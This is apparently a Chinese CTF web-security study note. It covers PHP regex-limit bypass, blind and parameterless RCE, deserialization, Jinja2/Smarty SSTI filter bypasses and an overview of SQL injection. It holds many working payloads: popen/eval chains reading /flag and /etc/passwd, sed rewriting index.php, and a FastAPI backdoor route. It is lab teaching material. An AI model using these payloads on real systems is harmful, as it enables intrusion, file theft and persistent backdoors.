这两个加起来就导致了 .* 将会一直匹配到最后字符串的最后,然后轮到下一个字符

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000

当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)

所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制

1
2
3
4
5
import requests
url = 'http://node4.anna.nssctf.cn:28058/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

无回显RCE

利用http标头

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!

扫目录+python GitHack.py URL

看到源码:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

这里可以用上文提到的scandir组合拳去做,但是发现没有什么效果,这里就可以用查看请求头的方法:

1
?star=print_r(getallheaders());

然后选择命令加在UA上

1
?star=eval(next(getallheaders()));

只允许用特殊字符

[安洵杯 2020]BASH | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

BashFuck Payload Generator

写文件到其他地方

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!) R!!!C!!!E!!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php

class minipop{
public $code="ls / | t''ee b";
public $qwejaskdjnlka;
}
$a=new minipop();
$b= new minipop(); //调用两次
$b->qwejaskdjnlka=$a;
echo serialize($b);

?>

然后直接访问b即可

也可以尝试下面这个方法:

[NewStarCTF 2023 公开赛道]R!!!C!!!E!!! | 北歌

由于使用了exec,程序不会有回显,但是没有过滤sed,我们可以把正则里的|删去

1
2
3
4
5
6
$a = new minipop;
$a->qwejaskdjnlka = new minipop;
$a->qwejaskdjnlka->code = 'sed -i \'s/|//g\' index`echo -e "\x2ep"`hp';
$a->qwejaskdjnlka->code = 'ls / >1.php';
$a->qwejaskdjnlka->code = 'cat /flag_is_h3eeere >1.php';
echo (serialize($a));

echo -e "\x2ep"

  • \x2e 是十六进制,代表字符 .
  • \x70 是十六进制,代表字符 p
  • 所以 echo -e "\x2ep" 输出就是 .p
1
index`echo -e "\x2ep"`hp
  • 反引号会执行命令并替换结果
  • 最终拼接成:index.php

sed 命令

1
sed -i 's/|//g' index.php
  • -i:直接修改文件(不备份)
  • 's/|//g':把文件中所有的 | 字符删除

无参数RCE

BUUCTF在线评测 禁止套娃

跳过前面运用GitHack的部分,直接看RCE部分

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

Padyload:

current(localeconv()) 来代替了 .

1
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

SSTI

1
因为hexo的关系,这里不在代码块外的{{}}统一换成{{...}}

介绍

模板引擎:(这里特指用于Web开发的模板引擎)

是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前

SSTI(Server-Side Template Injection):服务器端模板注入

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

Smarty SSTI

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华东南赛区]Web11)

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

既然全部的PHP条件表达式和函数都可以在if内使用,那我们在里面写php代码也行。
{if phpinfo()}{/if}

payload:

X-Forwarded-For:{if system('cat /flag')}{/if}


原理

CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园

Python SSTI漏洞学习总结 - Tuzkizki - 博客园

SSTI模板注入 | Antel0p3’s blog

介于jinja2出现的非常多,就只看看jinja2

先看这个包浆的图片()

可以知道49如果回显是49(也就是执行了里面的命令)的话,就说明存在SSTI

然后可以再试NaN,如果还是49就可以下判断了,但是一般题目就是前一步可以直接下结论是jinja2内部存在的SSTI

那么什么是jinja2?

Jinja 模板只是一个文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件

模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python

基本语法:

1
2
3
语句 {% ... %}
变量 {{ ... }}
注释 {# ... #}

常用的语句包括:for、if、set、include、block、filter 等

变量通过传递字典来进行使用,当使用 for 语句的时候,变量可以是列表

创建和渲染模板的最基本方法是通过 Template,通过创建一个 Template 的实例,
会得到一个新的模板对象,模板对象有一个 render() 的方法,该方法在调用 dictkeywords 参数时填充模板

E.g

1
2
3
4
5
from jinja2 import Template

eg = Template('hello {{name}}')
result = eg.render(name = '111')
print(result)

结果就是

hello 111

成因:

欸但是一般代码中不带这个{{...}},就会出现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = Template'''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return t.render()

再或者

1
2
3
4
5
6
7
8
9
from jinja2 import Template

name = input("please input name:") # 用于模拟获取 name 参数,你可以根据实际情况获取 name 的值
t = Template('''
<html>
<h1>Hello %s</h1>
</html>
''' % (name))
print(t.render())

这边你正常传入一个字符串,就是正常显示的,但是当你传入一个{{7*7}},结果就是会变成49,这是因为{{...}}被渲染到Template里了,这点在上面的jinja2语法中有所体现

然后传入49

那么我们知道了可以传入{{...}}进而被Template渲染后,我们就可以尝试干两件事:获取信息RCE

我们先看获取一些信息这边

比如查看一些什么config和env

1
2
{{config}}		# 获取config,包含flag
{{request.environ}} # 获取环境信息

给个源码方便你们也可以试试()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from jinja2 import Template
from flask import Flask,request,render_template_string
import os
app = Flask(__name__)

app.config['Flag'] = 'flag{You_Find_Me!!!}'

FLAG = os.getenv('FLAG', 'flag{here_is_a_flag!!!}')

@app.before_request
def add_flag_to_environ():
request.environ['FLAG'] = FLAG

@app.route('/')
def main():
name = request.args.get('name','ok')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

if __name__ == '__main__':
app.run(host='0.0.0.0',port = 5000)

然后我们直接 ?name={{config}}

可以看到

再看看 {{request.environ}}

如果是想进行RCE的话,那就需要os库,但是肯定不会傻到内置os库给你用的,所以就需要你自己导入一个os库,使用system或者popen这种危险函数来读取

然后就有思路:

  • 使用万能的对象(比如字符串对象’’)-> 子类 -> 基类 -> 危险类的危险函数(大多数情况)
  • 直接使用代码中定义的对象(包括已经导入的库)所包含的危险子类中的危险函数(R3CTF 2024 web jinjaclub wp - LamentXU - 博客园

这里说是“万能的对象”,其实大多数情况下,最好用最经典的还是字符串对象’’,当然[]这些对象也是可以的

python中每个对象都有个属性__class__,用于返回该对象所属的类。而我们要做的,就是获取到object基类

使用''.__class__我们就完成了第一步,即,获取到一个字符串对象

[]{}也可以

还有:

__bases__:以元组的形式返回一个类所直接继承的类

__base__:以字符串形式返回一个类所直接继承的类

__mro__:返回解析方法调用的顺序

__subclasses__(): 是一个特殊方法,用于获取某个类的所有直接子类

__init__:所有自带带类都包含init方法,便于利用他当跳板来调用globals

function.__globals__:用于获取function所处空间下可使用的module、方法以及所有变量

['__builtins__']:从全局变量字典中获取内置模块的引用

  • 通过 __builtins__ 访问 eval()exec() 函数来执行恶意代码
  • 使用 __builtins__ 中的 open() 函数来读取或写入文件
  • 利用 __builtins__ 中的 __import__() 函数来动态导入其他模块,比如 ossys,然后执行系统命令

__import__:导入模块

__getitem__:提取元素

比如:

1
2
3
print("".__class__.__bases__)

#(<class 'object'>,)
  1. "":创建一个空字符串
  2. __class__:访问该空字符串的类。对于字符串对象,其类是 str
  3. __bases__:访问 str 类的基类。对于内置类型,str 类的基类是 object

这三个属于获取基类的办法。获取到object基类之后,因为这个基类的子类是这个python程序目前的所有类,所以可以直接找到我们要的os(是基类的一个子类)

使用"".__class__.__bases__"".__class__.__mro__[1]"".__class__.__base__我们就完成了第二步,即,获取到了object基类

我们看这个:

1
print("".__class__.__mro__[1].__subclasses__())
  1. 获取空字符串的类:"".__class__ 返回 str
  2. 获取 str 类的继承顺序:__mro__ 返回一个元组,列出 str 类及其基类的顺序
  3. 获取 str 类的直接基类:[1] 取出 __mro__ 元组中的第二个元素,即 object
  4. 获取 object 类的所有直接子类:调用 __subclasses__() 方法

这样打印出来的结果就是object下的所有子类

现在我们要进行RCE的话

我们要做的,是找到使用os的内置类。那这可多了,这里可以fuzz出(由python环境改变而改变,可以直接bp数字爆破一下)如果没有的话,也可以找一些可以读取文件的内置类,那么warnings.catch_warnings类 可就成重灾区了(有很多其他的)

我们发现object基类的__subclasses__()中 <type ‘warnings.catch_warnings’> 的索引值为138(随环境改变而改变),导入他后直接导入os并RCE即可,你去找os._wrap_close也可以

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}

也可以稍微拼接绕过一下

1
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

当然,你也可以找到其他调用了os的内置类,利用__init__function.__globals__来调用内置类中os类的方法,如subprocess.popen:

1
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

有用的python内置类有很多,这里贴一个脚本,可以直接把subclass出来的东西放data里帮你检测有用的类的索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re

# 将查找到的父类列表替换到data中 ''.__class__.__mro__[-1].__subclasses__()
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

做题流程也很明确了:确定好要用SSTI打RCE之后用burp(payload:"".__class__.__mro__[1].__subclasses__())fuzz服务器找os或者file,然后读取文件或RCE

总结一下就是:先找object基类,然后subclasses出所有的类(就应该是一大坨玩意)然后放上面那个脚本里跑索引。找到能用的类之后去网上找这个类对应的payload打就完了)

Bypass

过滤了两个大括号

可以直接{%print()%}替代,上文有介绍,与{{...}}同等效果,想看回显可以

1
{%print(7*7)%}

也可以使用flask控制语句{%...%}{%end%}结尾(括号内可控制语句,定义变量,写循环判断)

于是使用

1
{%if().__class__%}123{%endif%}

如果__class__类下存在内容就输出123

你甚至可以用循环来查找可以用的类

1
2
3
4
5
6
7
8
9
10
{% for c in. class.base_subclasses () %}{% if c.__name__=='catch warnings'%}{{c.__init__.__globals__['__builtins__'] .eval('__import__("os").popen("<command>").read()')}}{% endif%}{% endfor %}

% 是模板引擎(如 Jinja2)中的一个特殊字符,用于标记模板代码的开始和结束
{% for c in class.base_subclasses() %}:这是一个循环语句,它遍历class的所有基类(父类)的子类
{% if c.__name__=='catch warnings'%}:这是一个条件判断语句,它检查当前遍历到的子类的名称是否是'catch warnings'
c.__init__.__globals__:获取当前类__init__方法的全局变量字典
['__builtins__']:从全局变量字典中获取内置模块的引用
eval('__import__("os").popen("<command>").read()'):使用eval函数执行一个字符串形式的Python表达式。这个表达式首先导入os模块,然后使用popen函数执行一个系统命令(<command>应被替换为实际的命令),并读取命令的输出结果
{% endif %}:结束条件判断语句
{% endfor %}:结束循环语句

字符串拼接

1
"__glo"+"bal__" == "__global__"

过滤了 .

[]替代

1
a.b == a['b']

request.args逃逸

如果题目中没有过滤request,则可以将一些含有敏感字符的位置用get传,再在SSTI中用request.args.arg1逃逸到get参数里去

1
2
3
4
5
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

GET (用request.args)

1
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST (用request.values)

1
2
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

过滤了 []

.getitem

1
tuple[0] == tuple.getitem(0)

.pop

1
__subclasses__()[128] = __subclasses__().pop(128)

E.g

1
2
3
4
5
6
7
8
9
# 原payload,可以使用__base__绕过__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 绕过
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

pop 是列表的一个方法,用于移除列表中的元素并返回该元素。这里 pop(128) 表示从列表中移除并返回索引为 128 的元素

过滤了 config

1
2
# 绕过,同样可以获取到config
{{self.dict._TemplateReference__context.config}}

用内置函数

1
{{url_for.__globals__['current_app'].config}}

过滤了__init__

__enter__或者__exit__替代

1
2
3
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

过滤了os

可以使用翻转字符的方法,比如

1
__import__('so'[::-1]).popen

这跟__import__('os').popen等效

编码过滤

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

实战下就可以是:

1
2
3
4
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("so"[::-1])|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

#{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

一些高端的∞

展示些高端玩法()

内置类 Undefined

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型

可用payload:

1
2
3
4
5
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()

a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

过滤器

Template Designer 文档 — Jinja 文档 (3.2.x)

在 Jinja2 中,过滤器(Filters)用于对变量进行转换或格式化。过滤器可以用来修改变量的值,使其符合特定的格式或需求。过滤器在模板中使用管道符号 | 进行应用,可以链式调用多个过滤器

假设我们有以下模板变量:

1
2
3
4
5
6
7
8
from datetime import datetime

context = {
'name': 'miHoYo',
'items': ['zzz', 'starrailway', 'genshin'],
'price': 42.5,
'now': datetime.now()
}

常用过滤器

  1. **default**:为变量提供默认值

    1
    {{ undefined_variable|default("No value") }}  {# 输出:No value #}
  2. **length**:获取列表或字符串的长度

    1
    {{ items|length }}  {# 输出:3 #}
  3. **loweruppertitle**:转换字符串的大小写

    1
    2
    3
    {{ name|lower }}  {# 输出:mihoyo #}
    {{ name|upper }} {# 输出:MIHOYO #}
    {{ name|title }} {# 输出:miHoYo #}
  4. **join**:将列表元素连接成字符串

    1
    {{ items|join(", ") }}  {# 输出:zzz, starrailway, genshin #}
  5. **replace**:替换字符串中的子串

    1
    {{ "Hello World"|replace("World", "Jinja2") }}  {# 输出:Hello Jinja2 #}
  6. **format**:格式化字符串

    1
    {{ "Price: %.2f"|format(price) }}  {# 输出:Price: 42.50 #}
  7. **selectreject**:选择或排除列表中的元素

    1
    2
    {{ items|select("startswith", "z")|list }}  {# 输出:['zzz'] #}
    {{ items|reject("endswith", "z")|list }} {# 输出:['starrailway', 'genshin'] #}
  8. **date**:格式化日期

    1
    {{ now|date("%Y-%m-%d %H:%M:%S") }}  {# 输出:当前日期和时间 #}

多个过滤器链式调用

1
{{ items|length|default(0) }}  {# 如果 items 是 None 或空的,输出 0 #}

这里我们着重看看 setattr()


set

set 过滤器在 Jinja2 中用于定义和赋值变量

先来看

1
{% set one = dict(c=a) | join | count %}

dict(c=a)

  • 作用:创建一个字典,键是字符串 "c",值是变量 a
  • 示例:如果 a 的值是 "test",那么 dict(c=a) 的结果是 {"c": "test"}

那我们可以用这个构造:

1
2
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = ( ()|select|string|list )|attr(a)(24) %} {# 构造 '_' #}

当然你要是构造不出 _ 可以直接入手找 _

1
2
3
4
5
6
7
8
9
10
11
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)%}{%print xxx%}

数数看看_在第几个,然后拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
拼接数字为24


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xxx%}

其余情况可以构造一个链:

1
2
3
4
5
6
7
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = dict(glo=a, bals=a)|join %} {# 构造 'globals' #}
{% set c = dict(geti=a, tem=a)|join %} {# 构造 'getitem' #}
{% set d = dict(po=a, pen=a)|join %} {# 构造 'popen' #}
{% set e = dict(rea=a, d=a)|join %} {# 构造 'read' #}

{{ lipsum|attr(b)|attr(c)(dict(o=a,s=a)|join)|attr(d)(dict(l=a,s=a)|join)|attr(e)() }}

lipsum.__globals__['os'].popen('ls').read()


attr()

当某些字符如点号 (.)、中括号 ([]) 或引号被过滤时

1
{{ ''|attr('__class__') }}  # 相当于 {{ ''.__class__ }}

链式调用

1
2
3
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77) }}

#{{''__class__.__base__.__subclasses__()[77]}}

lipsum

lipsum 是一个全局的函数或变量,它通常用于生成随机文本,但在 SSTI 攻击中,它也可以被用来获取内置模块或函数

ipsum.__globals__ 是一个字典,包含了在 lipsum 函数定义时的全局变量。在 Jinja2 模板中,如果 lipsum 存在,攻击者可以利用它来访问全局变量,如 __builtins__os 等模块

比如:

1
{{ lipsum.__globals__['os'].popen('ls').read() }}

使用 popen 方法执行命令 ls,并调用 read() 方法读取输出

1
{{ lipsum.__globals__.__builtins__.__import__('os').popen('ls').read() }}

通过 __import__ 函数导入 os 模块,进而执行命令

那么结合一下前面的内容可以字符串拼接绕过

1
{%print(lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('ls').read())%}

或者使用attr过滤器访问:

1
{{ lipsum|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')() }}

url_for、get_flashed_messages

这是flask内置的两个全局函数,两个都用__globals__

1
2
3
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

bytes

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

add_api_route()

在 FastAPI 中,add_api_route 是一个非常灵活且强大的方法,用于手动向应用程序中添加 API 路由。它提供了对路由行为的更精细控制

方法签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def add_api_route(
self,
path: str,
endpoint: Callable[..., Any],
*,
response_model: Any = None,
status_code: Optional[int] = None,
tags: Optional[List[str]] = None,
dependencies: Optional[Sequence[Depends]] = None,
summary: Optional[str] = None,
description: Optional[str] = None,
response_description: str = "Successful Response",
responses: Optional[Dict[Union[int, str], Dict[str, Any]]] = None,
deprecated: Optional[bool] = None,
methods: Optional[List[str]] = None,
operation_id: Optional[str] = None,
response_model_include: Optional[Union[SetIntStr, DictIntStrAny]] = None,
response_model_exclude: Optional[Union[SetIntStr, DictIntStrAny]] = None,
response_model_by_alias: bool = True,
response_model_exclude_unset: bool = False,
response_model_exclude_defaults: bool = False,
response_model_exclude_none: bool = False,
include_in_schema: bool = True,
response_class: Type[Response] = Default(JSONResponse),
name: Optional[str] = None,
callbacks: Optional[List[BaseRoute]] = None,
openapi_extra: Optional[Dict[str, Any]] = None,
generate_unique_id_function: Callable[[APIRoute], str] = Default(generate_unique_id)
) -> None:

参数说明

  • path:路由的路径,比如 /items
  • endpoint:处理该路由的函数,可以是同步或异步函数。
  • response_model:定义返回的数据类型,通常是一个 Pydantic 模型,用于数据验证和文档生成功能。
  • status_code:指定请求成功的 HTTP 状态码,默认值是 200
  • tags:为路由指定标签,便于在文档中对路由进行分组和组织。
  • dependencies:定义路由的依赖项,比如身份验证或数据库连接等。
  • summarydescription:分别用于提供该路由的简要和详细描述,这些信息会显示在自动生成的文档中。
  • response_description:描述成功的响应内容。
  • responses:一个字典,可以用来定义更详细的响应信息,包括不同状态码的响应内容。
  • deprecated:标记该路由是否已被废弃。
  • methods:允许的 HTTP 请求方法列表,如 ["GET", "POST"]。如果设置为 None,默认仅支持 GET
  • operation_id:唯一标识符,用于 OpenAPI 文档中标识该操作,通常自动生成。
  • response_model_includeresponse_model_exclude:用于控制返回数据模型中包含或排除的字段。
  • response_model_by_alias:是否按照模型字段的别名返回数据,默认为 True
  • response_model_exclude_unsetresponse_model_exclude_defaultsresponse_model_exclude_none:用于控制是否排除未设置的字段、默认值字段和值为 None 的字段。
  • include_in_schema:是否将该路由包含在自动生成的文档中,默认为 True
  • response_class:指定返回的响应类,默认是 JSONResponse
  • name:路由的名称,用于在某些情况下如 OpenAPI 文档中标识该路由。
  • callbacks:可以用来指定回调路由。
  • openapi_extra:可以为 OpenAPI 文档提供额外的元数据。
  • generate_unique_id_function:用于生成唯一的操作 ID 的函数。

奇妙的思路1

1
{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

1
{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

奇妙的思路2

第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园

写static

创建static目录:

1
title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mkdir%20static')}}

/details访问。触发。

mv同目录下文件到/static

1
title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mv%20*%20./static/LamentLament.txt')}}

details查看触发SSTI。访问/static/LamentLament.txt获取flag

一些不用动脑的()

Fenjing大法

基础例题

RUST下的SSTI

1
{%set my_var = get_env(name="FLAG") %}{{my_var}}

HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

参数是name,测试得出模板是jinja2

{{''.__class__.__bases__[0].__subclasses__()}}

用这个找到os._wrap_close类。定位到了137

然后

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

查找用没有popen函数

发现有

则payload:

1
?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

[BUUCTF在线评测](https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight) Flasklight

1
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}

综合绕过

攻防世界 Web_python_template_injection

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}

LitCTF 2025]星愿信箱 | NSSCTF

发现成功回显49,证明存在SSTI

之后就正常SSTI:(过滤了cat)(nl也可以)

1
{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

另解:

{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

巅峰极客 2024]GoldenHornKing | NSSCTF

1
2
3
4
5
add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")

SQL

SQL 注入 - Hello CTF

CTFHub题解-技能树-Web-SQL注入(整数型、字符型、报错注入、布尔盲注)【一】 - 0yst3r - 博客园

CTF中SQL注入常见题型整理_ctf sql-CSDN博客

  • 数字型注入:将用户输入的数字直接用于 SQL 查询,且未进行适当验证或清理时,可构造恶意数字输入
  • 字符型注入:用户输入的字符型数据(如字符串)被直接拼接到 SQL 语句中,且未进行转义或参数化处理时,可插入特殊字符(如单引号、双引号等)和 SQL 语句片段,篡改原 SQL 语句
  • 盲注:无法直接从数据库报错信息或查询结果中获取数据,而是通过观察应用程序在执行注入 SQL 语句后的响应(如页面加载时间、页面内容变化等)来判断注入是否成功,并逐步推断出数据库中的数据
  • 宽字节注入:某些应用程序在处理字符编码时,会将宽字节字符(如 GBK 编码中的某些字符)转换为窄字节字符(如 UTF-8 编码中的字符)
  • 报错注入:攻击者通过构造特定的 SQL 注入语句,使数据库产生报错,并从报错信息中获取数据库的版本、表名、列名等信息
  • 二次注入:首先将恶意 SQL 代码存储在数据库中,然后通过其他功能(如数据展示、导出等)触发执行
  • 堆叠注入:通过分号(;)等分隔符,将多个 SQL 语句堆叠在一起执行
  • 约束攻击:利用 select 与 insert 对长度和空格处理方式不同造成的漏洞

[!CAUTION]

